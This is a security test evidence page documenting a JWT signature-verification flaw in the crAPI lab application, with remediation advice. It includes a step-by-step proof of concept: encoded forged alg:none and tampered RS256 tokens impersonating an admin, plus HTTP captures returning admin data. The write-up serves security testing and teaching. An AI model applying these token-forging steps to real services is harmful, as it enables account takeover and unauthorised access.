JWT Signature Not Verified - Authentication - JWT Validation
Lab environment — not a production system
Screenshots and raw traffic are not translated; text within them may be in another language.
crAPI/Evidence/[FAIL] JWT Signature Not Verified - Authentication - JWT Validation
01 — Notes
Test notes
Vulnerability
Description
Impact
CWE
OWASP
Scenario
Endpoint
Affected feature
Remediation
Proof of concept
View source note (English)
Vulnerability: [FAIL] JWT Signature Not Verified - Authentication - JWT Validation
Description:
The crAPI identity service does not verify JWT signatures. A token with the header alg:none and no signature is accepted, and an RS256 token whose payload was modified without re-signing is also accepted. An attacker can forge a token for any user and escalate the role to admin.
Impact:
Confidentiality: victim account data can be read. Integrity: identity and role (admin) can be forged -> full account takeover of every user without credentials.
CWE:
CWE-347: Improper Verification of Cryptographic Signature
OWASP:
API2:2023 - Broken Authentication
Scenario:
Normal: a legitimate role=user token only accesses its own data. Exploitation: a forged token (alg:none / edited RS256) impersonates an ADMIN (sub=[REDACTED-EMAIL], role=admin) -> accesses the admin account (id=5) -> CIA (Confidentiality + Integrity).
Endpoint:
GET http://127.0.0.1:8888/identity/api/v2/user/dashboard (all JWT-based identity endpoints)
Affected Feature:
JWT-based authentication (crapi-identity)
Remediation:
- Verify the JWT signature with the RS256 public key on every request.
- Explicitly reject alg:none and apply algorithm allow-listing (RS256 only).
- Use a mature JWT library; validate exp/iss/aud.
POC:
1) (Screenshot 1) NORMAL: GET /identity/api/v2/vehicle/vehicles with a legitimate RS256 token (shown in full) -> 200, own data only.
2) (Screenshot 2) alg:none PROCESS: break down the original token, base64url-decode the header and payload, change alg to 'none' with no signature and set the payload to sub=[REDACTED-EMAIL]/role=admin, then reassemble the forged token (shown in full).
3) (Screenshot 3) EXPLOITATION: send the alg:none token -> 200 returns the ADMIN account (id=5, ROLE_ADMIN).
4) (Screenshot 4) RS256 tampering PROCESS: take the original RS256 token, edit the payload to sub=[REDACTED-EMAIL] and role=admin, then reattach the OLD signature without re-signing (token shown in full).
5) (Screenshot 5) CIA IMPACT: send the tampered RS256 token -> still 200 and returns the ADMIN account -> proving the signature is not verified (Confidentiality + Integrity).
02 — Screenshots
Screenshots (3)
Normal: the attacker uses their valid RS256 token (role=user) to access their own data. The source capture contains the complete token; credential values are masked in this HTML view.
Result: the server accepts the unsigned alg:none token and returns the admin account (id=5, ROLE_ADMIN). The capture records full admin impersonation. The source contains the complete token in the header; credential values are masked in this HTML view.
Impact: a token with a mismatched signature still returns 200. Admin account data is exposed, compromising confidentiality; a forged admin identity and role compromise integrity. The server does not verify the signature.
03 — Process details
Process details
Credential values are masked in this HTML view; references to complete tokens describe the source capture.
Decode and rebuild a JWT with alg:none, sub=admin and role=admin
Preparation: build an unsigned alg:none token
Preparation: set the header to alg:none and leave the signature empty. Modify the payload to impersonate an admin (sub=[REDACTED-EMAIL], role=admin).
1. Original login token (format: header.payload.signature)
[REDACTED-LAB-JWT]
2. Decode each part with Base64URL
header = eyJhbGciOiJSUzI1NiJ9
-> {"alg": "RS256"}
payload = eyJzdWIiOiJmYXFpaEBnbWFpbC5jb20iLCJpYXQiOjE3OTA2OTA3MTQsImV4cCI6MTc5MTI5NTUxNCwicm9sZSI6InVzZXIifQ
-> {"sub": "[REDACTED-EMAIL]", "iat": 1790690714, "exp": 1791295514, "role": "user"}
3. Build the forged token: alg='none' (no signature), sub->[REDACTED-EMAIL], role->admin
new header = base64url({"alg": "none", "typ": "JWT"})
= eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0
new payload = base64url({"sub": "[REDACTED-EMAIL]", "role": "admin", "iat": 1790690714, "exp": 1999999999})
= eyJzdWIiOiJhZG1pbkBleGFtcGxlLmNvbSIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc5MDY5MDcxNCwiZXhwIjoxOTk5OTk5OTk5fQ
signature = (empty)
4. Final forged token (complete and untruncated in the source capture; credential values are masked in this HTML view)
[REDACTED-LAB-JWT]Change RS256 claims to sub=admin and role=admin; keep the original, now-invalid signature
Preparation: change payload, keep signature
Preparation: modify the RS256 payload but keep the original signature. The signature no longer matches the payload and should be rejected, yet crAPI accepts the token.
1. Original RS256 token (valid signature)
[REDACTED-LAB-JWT]
2. Decode the payload
{"sub": "[REDACTED-EMAIL]", "iat": 1790690714, "exp": 1791295514, "role": "user"}
3. Change the payload (role user->admin, sub->[REDACTED-EMAIL]); keep the header and signature unchanged
new payload = base64url({"sub": "[REDACTED-EMAIL]", "iat": 1790690714, "exp": 1791295514, "role": "admin"})
= eyJzdWIiOiJhZG1pbkBleGFtcGxlLmNvbSIsImlhdCI6MTc5MDY5MDcxNCwiZXhwIjoxNzkxMjk1NTE0LCJyb2xlIjoiYWRtaW4ifQ
header = eyJhbGciOiJSUzI1NiJ9 (unchanged, alg RS256)
signature = qiVE1YKhnGZYsQoV8qLrVMWSqX1XkvyP_8xBeCNs40s0BwNFP6ml5JkS_qAyFmcPJ9MqhN_4BCGuoIQ71mzzqWAUPd29N9mLh17OaiYFPlhalYV7A4h7XGY9sQNFyFwhlGXTSpSE5vNGzMBGVb_QXNoeabnuvIWnerN6wlkLL0vEKMIvtAkEUPey1GciCnp-6Vm_xf7g53AWjZ1Zg9d3kbDjHAvN697pn2czd98QQdK2E-DCQSyt8K8PLFRl1qqBO3gDeIv2HFJ-R-eds9QfnoeCUUk4BPBcND7BbqTFVVx6FUVx-A_lsIe8KmGNSllOP6zcDsSmQFMHmubilsdv7g (original signature, not re-signed)
4. Resulting token (header.new_payload.original_signature) -- signature does not match the payload (complete in the source capture; credential values are masked in this HTML view)
[REDACTED-LAB-JWT]04 — Requests and responses
HTTP captures
Some credential values are masked in this public HTML view. This does not mean every sensitive value or linked file has been redacted.
GET /identity/api/v2/vehicle/vehicles HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]
Accept: application/json
HTTP/1.1 200
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 368
[
{
"id": 6,
"uuid": "9b3ce26b-d797-404b-a961-09d7e45e0d1b",
"pincode": "8392",
"vin": "861P9NB3CL6ZEA9X1",
"year": 2026,
"status": "INACTIVE",
"previousOwners": [],
"model": {
"id": 4,
"model": "5 Series",
"fuel_type": "PETROL",
"vehicle_img": "images/bmw-5.jpg",
"vehiclecompany": {
"id": 4,
"name": "BMW"
}
},
"vehicleLocation": {
"id": 4,
"latitude": "38.206348",
"longitude": "-84.270172"
},
"owner": null
}
]Normal: the attacker uses their valid RS256 token (role=user) to access their own data. The source capture contains the complete token; credential values are masked in this HTML view.
GET /identity/api/v2/user/dashboard HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]
Accept: application/json
HTTP/1.1 200
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 231
{
"id": 5,
"name": "Admin",
"email": "[REDACTED-EMAIL]",
"number": "9010203040",
"picture_url": null,
"video_url": "data:image/jpeg;base64,B7HoBfK09fDx0A==",
"video_name": "Admin_video",
"available_credit": 100.0,
"video_id": 5,
"role": "ROLE_ADMIN"
}Result: the server accepts the unsigned alg:none token and returns the admin account (id=5, ROLE_ADMIN). The capture records full admin impersonation. The source contains the complete token in the header; credential values are masked in this HTML view.
GET /identity/api/v2/user/dashboard HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]
Accept: application/json
HTTP/1.1 200
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 231
{
"id": 5,
"name": "Admin",
"email": "[REDACTED-EMAIL]",
"number": "9010203040",
"picture_url": null,
"video_url": "data:image/jpeg;base64,B7HoBfK09fDx0A==",
"video_name": "Admin_video",
"available_credit": 100.0,
"video_id": 5,
"role": "ROLE_ADMIN"
}Impact: a token with a mismatched signature still returns 200. Admin account data is exposed, compromising confidentiality; a forged admin identity and role compromise integrity. The server does not verify the signature.